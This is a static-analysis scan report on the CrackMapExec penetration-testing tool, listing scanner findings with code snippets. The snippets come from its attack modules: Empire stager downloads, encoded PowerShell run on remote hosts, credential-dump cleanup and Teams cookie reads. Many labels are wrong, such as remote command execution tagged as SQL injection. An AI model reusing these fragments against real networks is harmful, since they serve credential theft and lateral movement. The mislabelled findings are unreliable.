Scan report
byt3bl33d3r / CrackMapExec
Could an attacker exploit mistakes in this code?
Strong warning signs. Do not run or install this without a careful review.
- High
- 52
- Medium
- 89
- Low
- 69
Sources: Bandit, Semgrep, pip-audit
Does this code look like it is trying to cause harm?
Minor issues. Worth a glance, unlikely to be urgent.
- High
- 1
- Medium
- 2
- Low
- 27
Sources: YARA, ClamAV, GuardDog, dependency checker
- Likely real
- 99
- Uncertain
- 75
- Likely noise
- 66
The risk classifier rates every finding for how likely it is to be a real issue. Likely noise still counts, just much less.
What we found, in plain English
This repository has been flagged as having critical vulnerabilities that pose a severe threat to system safety, primarily because it uses dangerous coding patterns like executing commands through a shell and disabling SSL certificate checks. These issues are not necessarily signs of malicious intent but rather represent significant security risks where attackers could exploit the code to steal data or cause denial of service. While some findings point to intentional malicious behavior, the majority appear to be standard insecure practices that developers should fix immediately to protect against real-world attacks. The scan also identified several unsecured protocols such as FTP and weak hash algorithms, which further increase the potential for exploitation if these vulnerabilities are not addressed.
Written by a local language model from the findings below. The risk scores come from the classifier, not from this summary.
Detections by engine
Score over time
Overall score each time this repository was scanned.
Findings
Highest severity first. Select a finding to see the code and what it means.
-
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /cme/helpers/powershell.py line 48
- Likely real
- Yes, 99% confidence
Found 'subprocess' function 'call' with 'shell=True'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use 'shell=False' instead.
return_code = call(invoke_obfs_command, stdout=devnull, stderr=devnull, shell=True) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /cme/modules/ldap-checker.py line 93
- Likely real
- Yes, 98% confidence
certificate verification explicitly disabled, insecure connections possible
ssl_sock = ssl.wrap_socket( s, cert_reqs=ssl.CERT_OPTIONAL, suppress_ragged_eofs=False, do_handshake_on_connect=False, ) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/protocols/winrm.py line 179
- Likely real
- Yes, 98% confidence
Use of weak MD4 hash for security. Consider usedforsecurity=False
178 if ntlm_hash: 179 hash_ntlm = hashlib.new("md4", msMCSAdmPwd.encode("utf-16le")).digest() 180 self.hash = binascii.hexlify(hash_ntlm).decode() -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/protocols/smb.py line 356
- Likely real
- Yes, 98% confidence
Use of weak MD4 hash for security. Consider usedforsecurity=False
355 if ntlm_hash: 356 hash_ntlm = hashlib.new("md4", msMCSAdmPwd.encode("utf-16le")).digest() 357 self.hash = binascii.hexlify(hash_ntlm).decode() -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/modules/empire_exec.py line 100
- Likely real
- Yes, 98% confidence
Call to requests with verify=False disabling SSL certificate checks, security issue.
99 headers=headers, 100 verify=False, 101 ) 102 except ConnectionError: 103 context.log.fail(f"Unable to request stager from Empire's RESTful API") 104 sys.exit(1) 105 106 if stager_response.status_code not in [200, 201]: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/cmedb.py line 453
- Likely real
- Yes, 98% confidence
Call to requests with verify=False disabling SSL certificate checks, security issue.
452 params=url_params, 453 verify=False, 454 ) 455 creds = r.json() 456 457 for cred in creds["creds"]: 458 if cred["credtype"] == "token" or cred["credtype"] == "krbtgt" or cred["username"].endswith("$"): 459 continue -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/cmedb.py line 444
- Likely real
- Yes, 98% confidence
Call to requests with verify=False disabling SSL certificate checks, security issue.
443 headers=headers, 444 verify=False, 445 ) 446 if r.status_code == 200: 447 token = r.json()["token"] 448 url_params = {"token": token} 449 r = get( 450 base_url + "/api/creds", -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/modules/empire_exec.py line 62
- Likely real
- Yes, 98% confidence
Call to requests with verify=False disabling SSL certificate checks, security issue.
61 data=empire_creds, 62 verify=False, 63 ) 64 except ConnectionError as e: 65 context.log.fail(f"Unable to login to Empire's RESTful API: {e}") 66 sys.exit(1) 67 context.log.debug(f"Response Code: {login_response.status_code}") -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/protocols/winrm.py line 208
- Likely real
- Yes, 98% confidence
Call to requests with verify=False disabling SSL certificate checks, security issue.
207 self.logger.debug(f"winrm create_conn_obj() - Requesting URL: {url}") 208 res = requests.post(url, verify=False, timeout=self.args.http_timeout) 209 self.logger.debug("winrm create_conn_obj() - Received response code:" f" {res.status_code}") -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/modules/empire_exec.py line 123
- Likely real
- Yes, 98% confidence
Call to requests with verify=False disabling SSL certificate checks, security issue.
122 headers=headers, 123 verify=False, 124 ) 125 context.log.debug(f"Response Code: {download_response.status_code}") 126 # context.log.debug(f"Response Content: {download_response.text}") 127 128 self.empire_launcher = download_response.text -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/protocols/ssh.py line 53
- Likely real
- Yes, 96% confidence
Paramiko call with policy set to automatically trust the unknown host key.
52 self.conn = paramiko.SSHClient() 53 self.conn.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 54 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/protocols/ftp.py line 46
- Likely real
- Yes, 85% confidence
FTP-related functions are being called. FTP is considered insecure. Use SSH/SFTP/SCP or some other encrypted protocol.
45 def create_conn_obj(self): 46 self.conn = FTP() 47 try: -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /cme/modules/keepass_trigger.py line 392
- Likely real
- Yes, 85% confidence
The native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and "XML bombs" can cause denial of service. Do not use this library to parse untrusted input. Instead the Python documentation recommends using `defusedxml`.
xml_tree = ElementTree.parse(xml_doc_path) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/protocols/ftp.py line 6
- Likely real
- Yes, 82% confidence
A FTP-related module is being imported. FTP is considered insecure. Use SSH/SFTP/SCP or some other encrypted protocol.
5 from cme.logger import CMEAdapter 6 from ftplib import FTP, error_reply, error_temp, error_perm, error_proto 7 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /cme/cmedb.py line 440
- Likely real
- Yes, 74% confidence
Certificate verification has been explicitly disabled. This permits insecure connections to insecure servers. Re-enable certification validation.
r = post( base_url + "/api/admin/login", json=payload, headers=headers, verify=False, ) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /cme/modules/empire_exec.py line 59
- Likely real
- Yes, 74% confidence
Certificate verification has been explicitly disabled. This permits insecure connections to insecure servers. Re-enable certification validation.
login_response = requests.post( f"{base_url}/token", data=empire_creds, verify=False, ) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /cme/modules/empire_exec.py line 96
- Likely real
- Yes, 74% confidence
Certificate verification has been explicitly disabled. This permits insecure connections to insecure servers. Re-enable certification validation.
stager_response = requests.post( f"{base_url}/api/v2/stagers?save=False", json=data, headers=headers, verify=False, ) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /cme/modules/empire_exec.py line 120
- Likely real
- Yes, 74% confidence
Certificate verification has been explicitly disabled. This permits insecure connections to insecure servers. Re-enable certification validation.
download_response = requests.get( f"{base_url}{download_uri}", headers=headers, verify=False, ) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /cme/cmedb.py line 449
- Likely real
- Yes, 74% confidence
Certificate verification has been explicitly disabled. This permits insecure connections to insecure servers. Re-enable certification validation.
r = get( base_url + "/api/creds", headers=headers, params=url_params, verify=False, ) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /cme/protocols/winrm.py line 208
- Likely real
- Yes, 73% confidence
Certificate verification has been explicitly disabled. This permits insecure connections to insecure servers. Re-enable certification validation.
res = requests.post(url, verify=False, timeout=self.args.http_timeout) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /cme/modules/veeam_dump.py line 144
- Likely real
- Yes, 53% confidence
Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.
return connection.execute("powershell.exe -e {} -OutputFormat Text".format(psScipt_b64), True) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /cme/modules/veeam_dump.py line 136
- Likely real
- Yes, 53% confidence
Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.
return connection.execute("powershell.exe -e {} -OutputFormat Text".format(psScipt_b64), True) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /cme/modules/procdump.py line 77
- Likely real
- Yes, 53% confidence
Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.
p = connection.execute(command, True) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /cme/modules/handlekatz.py line 85
- Likely real
- Yes, 53% confidence
Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.
p = connection.execute(command, True) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /cme/modules/hash_spider.py line 88
- Likely real
- Yes, 53% confidence
Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.
cursor.execute( "UPDATE admin_users SET password = ? WHERE username LIKE '" + username + "%'", [password], ) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /cme/modules/hash_spider.py line 101
- Likely real
- Yes, 53% confidence
Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.
cursor.execute( "UPDATE admin_users SET hash = ? WHERE username LIKE '" + username + "%'", [nthash], ) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /cme/modules/hash_spider.py line 127
- Likely real
- Yes, 53% confidence
Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.
cursor.execute( "UPDATE admin_users SET password = ? WHERE username LIKE '" + username + "%'", [password], ) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /cme/modules/hash_spider.py line 131
- Likely real
- Yes, 53% confidence
Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.
cursor.execute( "UPDATE admin_users SET hash = ? WHERE username LIKE '" + username + "%'", [nthash], ) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /cme/modules/hash_spider.py line 197
- Likely real
- Yes, 53% confidence
Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.
cursor.execute(f"UPDATE admin_users SET hash = NULL WHERE username LIKE '{username}'") -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /cme/modules/hash_spider.py line 245
- Likely real
- Yes, 53% confidence
Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.
cursor.execute(f"SELECT * FROM pc_and_admins WHERE pc_name = '{pc[0]}' AND dumped NOT LIKE 'TRUE'") -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /cme/modules/hash_spider.py line 256
- Likely real
- Yes, 53% confidence
Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.
cursor.execute("UPDATE pc_and_admins SET dumped = 'TRUE' WHERE pc_name LIKE '" + pc[0] + "%'") -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /cme/modules/impersonate.py line 44
- Likely real
- Yes, 53% confidence
Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.
return connection.execute(command, True) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /cme/modules/impersonate.py line 87
- Likely real
- Yes, 53% confidence
Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.
for line in connection.execute(command, True, methods=["smbexec"]).splitlines(): -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /cme/modules/keepass_discover.py line 66
- Likely real
- Yes, 53% confidence
Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.
search_keepass_files_output = connection.execute(search_keepass_files_cmd, True).split("\r\n") -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /cme/modules/msol.py line 49
- Likely real
- Yes, 53% confidence
Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.
return connection.execute(command, True) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /cme/modules/ntdsutil.py line 48
- Likely real
- Yes, 53% confidence
Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.
p = connection.execute(command, True) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /cme/modules/ntdsutil.py line 99
- Likely real
- Yes, 53% confidence
Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.
p = connection.execute(command, True) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /cme/modules/pi.py line 68
- Likely real
- Yes, 53% confidence
Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.
for line in connection.execute(command, True, methods=["smbexec"]).splitlines(): -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /cme/modules/keepass_trigger.py line 163
- Likely real
- Yes, 52% confidence
Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.
connection.execute(add_trigger_script_cmd) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /cme/modules/keepass_trigger.py line 238
- Likely real
- Yes, 52% confidence
Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.
connection.execute(restart_keepass_script_cmd) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /cme/modules/keepass_trigger.py line 286
- Likely real
- Yes, 52% confidence
Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.
connection.execute(remove_export_command_str, True) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /cme/modules/keepass_trigger.py line 308
- Likely real
- Yes, 52% confidence
Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.
connection.execute(remove_export_command_str, True) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /cme/modules/keepass_trigger.py line 323
- Likely real
- Yes, 52% confidence
Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.
connection.execute(remove_trigger_script_command_str, True) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /cme/modules/keepass_trigger.py line 386
- Likely real
- Yes, 52% confidence
Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.
connection.execute(script_execute_cmd, True) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /cme/modules/keepass_trigger.py line 388
- Likely real
- Yes, 52% confidence
Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.
connection.execute(remove_remote_temp_script_cmd) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /cme/modules/nanodump.py line 145
- Likely real
- Yes, 52% confidence
Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.
p = self.connection.execute(command, display_output) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /cme/modules/nanodump.py line 196
- Likely real
- Yes, 52% confidence
Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.
self.connection.execute(f"del {self.tmp_dir + nano_log_name}") -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /cme/modules/nanodump.py line 269
- Likely real
- Yes, 52% confidence
Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.
self.connection.execute(f"del {self.tmp_dir + self.nano}") -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /cme/modules/teams_localdb.py line 46
- Likely real
- Yes, 52% confidence
Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.
c.execute("SELECT value FROM cookies WHERE name = '" + name + "'") -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /cme/data/default.pem line 1
- Likely real
- Uncertain, 45% confidence
Private Key detected. This is a sensitive credential and should not be hardcoded here. Instead, store this in a separate, private file.
-----BEGIN PRIVATE KEY----- MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDLRxCDVVXmjcFW -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/helpers/powershell.py line 48
- Likely real
- Uncertain, 33% confidence
subprocess call with shell=True identified, security issue.
47 with open(os.devnull, "w") as devnull: 48 return_code = call(invoke_obfs_command, stdout=devnull, stderr=devnull, shell=True) 49 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Dockerfile line 22
- Likely real
- Probably noise, 22% confidence
By not specifying a USER, a program in the container may run as 'root'. This is a security hazard. If an attacker can control a process running as root, they may have control over the container. Ensure that the last USER in a Dockerfile is a USER other than 'root'.
ENTRYPOINT [ "cme" ] -
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /Dockerfile
- Likely real
- Probably noise, 1% confidence
YARA rule matched: detect_download_and_execute — Downloads a remote resource AND executes it - the actually dangerous combination, not just downloading alone
-
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /cme/protocols/ldap/laps.py line 216
- Likely real
- Yes, 100% confidence
Detected a python logger call with a potential hardcoded secret 'Cannot unpack msLAPS-EncryptedPassword blob due to error %s' % str(e) being logged. This may lead to secret credentials being exposed. Make sure that the logger is not logging sensitive information.
logging.error('Cannot unpack msLAPS-EncryptedPassword blob due to error %s' % str(e)) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /cme/protocols/smb.py line 356
- Likely real
- Yes, 100% confidence
Detected use of an insecure MD4 or MD5 hash function. These functions have known vulnerabilities and are considered deprecated. Consider using 'SHA256' or a similar function instead.
hash_ntlm = hashlib.new("md4", msMCSAdmPwd.encode("utf-16le")).digest() -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /cme/protocols/smb/firefox.py line 195
- Likely real
- Yes, 100% confidence
Detected DES cipher or Triple DES algorithm which is considered insecure. This algorithm is not cryptographically secure and can be reversed easily. Use a secure symmetric cipher from the cryptodome package instead. Use secure stream ciphers such as ChaCha20, XChaCha20 and Salsa20, or a block cipher such as AES with a block size of 128 bits. When using a block cipher, use a modern mode of operation that also provides authentication, such as GCM.
cipher = DES3.new(key=key, mode=DES3.MODE_CBC, iv=iv) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /cme/protocols/smb/firefox.py line 224
- Likely real
- Yes, 100% confidence
Detected DES cipher or Triple DES algorithm which is considered insecure. This algorithm is not cryptographically secure and can be reversed easily. Use a secure symmetric cipher from the cryptodome package instead. Use secure stream ciphers such as ChaCha20, XChaCha20 and Salsa20, or a block cipher such as AES with a block size of 128 bits. When using a block cipher, use a modern mode of operation that also provides authentication, such as GCM.
cipher = DES3.new(key=key, mode=DES3.MODE_CBC, iv=iv) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /cme/protocols/winrm.py line 179
- Likely real
- Yes, 100% confidence
Detected use of an insecure MD4 or MD5 hash function. These functions have known vulnerabilities and are considered deprecated. Consider using 'SHA256' or a similar function instead.
hash_ntlm = hashlib.new("md4", msMCSAdmPwd.encode("utf-16le")).digest() -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /cme/servers/http.py line 74
- Likely real
- Yes, 100% confidence
'ssl.wrap_socket()' is deprecated. This function creates an insecure socket without server name indication or hostname matching. Instead, create an SSL context using 'ssl.SSLContext()' and use that to wrap a socket.
self.server.socket = ssl.wrap_socket(self.server.socket, certfile=self.cert_path, server_side=True) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /cme/modules/ldap-checker.py line 93
- Likely real
- Yes, 100% confidence
'ssl.wrap_socket()' is deprecated. This function creates an insecure socket without server name indication or hostname matching. Instead, create an SSL context using 'ssl.SSLContext()' and use that to wrap a socket.
ssl_sock = ssl.wrap_socket( s, cert_reqs=ssl.CERT_OPTIONAL, suppress_ragged_eofs=False, do_handshake_on_connect=False, ) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /cme/protocols/smb.py line 1712
- Likely real
- Yes, 99% confidence
Detected MD4 hash algorithm which is considered insecure. MD4 is not collision resistant and is therefore not suitable as a cryptographic signature. Use a modern hash algorithm from the SHA-2, SHA-3, or BLAKE2 family instead.
ntlm_hash = MD4.new() -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /cme/protocols/ldap.py line 1372
- Likely real
- Yes, 99% confidence
Detected MD4 hash algorithm which is considered insecure. MD4 is not collision resistant and is therefore not suitable as a cryptographic signature. Use a modern hash algorithm from the SHA-2, SHA-3, or BLAKE2 family instead.
ntlm_hash = MD4.new() -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /cme/protocols/ldap.py line 1289
- Likely real
- Yes, 99% confidence
Detected MD4 hash algorithm which is considered insecure. MD4 is not collision resistant and is therefore not suitable as a cryptographic signature. Use a modern hash algorithm from the SHA-2, SHA-3, or BLAKE2 family instead.
ntlm_hash = MD4.new() -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/protocols/smb.py line 1712
- Likely real
- Yes, 98% confidence
Use of insecure MD2, MD4, MD5, or SHA1 hash function.
1711 currentPassword = blob["CurrentPassword"][:-2] 1712 ntlm_hash = MD4.new() 1713 ntlm_hash.update(currentPassword) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/protocols/ldap.py line 1372
- Likely real
- Yes, 98% confidence
Use of insecure MD2, MD4, MD5, or SHA1 hash function.
1371 currentPassword = blob["CurrentPassword"][:-2] 1372 ntlm_hash = MD4.new() 1373 ntlm_hash.update(currentPassword) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/protocols/ldap.py line 1289
- Likely real
- Yes, 98% confidence
Use of insecure MD2, MD4, MD5, or SHA1 hash function.
1288 currentPassword = blob["CurrentPassword"][:-2] 1289 ntlm_hash = MD4.new() 1290 ntlm_hash.update(currentPassword) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/protocols/ssh.py line 179
- Likely real
- Yes, 97% confidence
Possible shell injection via Paramiko call, check inputs are properly sanitized.
178 command = payload if payload is not None else self.args.execute 179 stdin, stdout, stderr = self.conn.exec_command(command) 180 except AttributeError: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/protocols/ssh.py line 146
- Likely real
- Yes, 97% confidence
Possible shell injection via Paramiko call, check inputs are properly sanitized.
145 else: 146 stdin, stdout, stderr = self.conn.exec_command("id") 147 output = stdout.read().decode("utf-8") -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
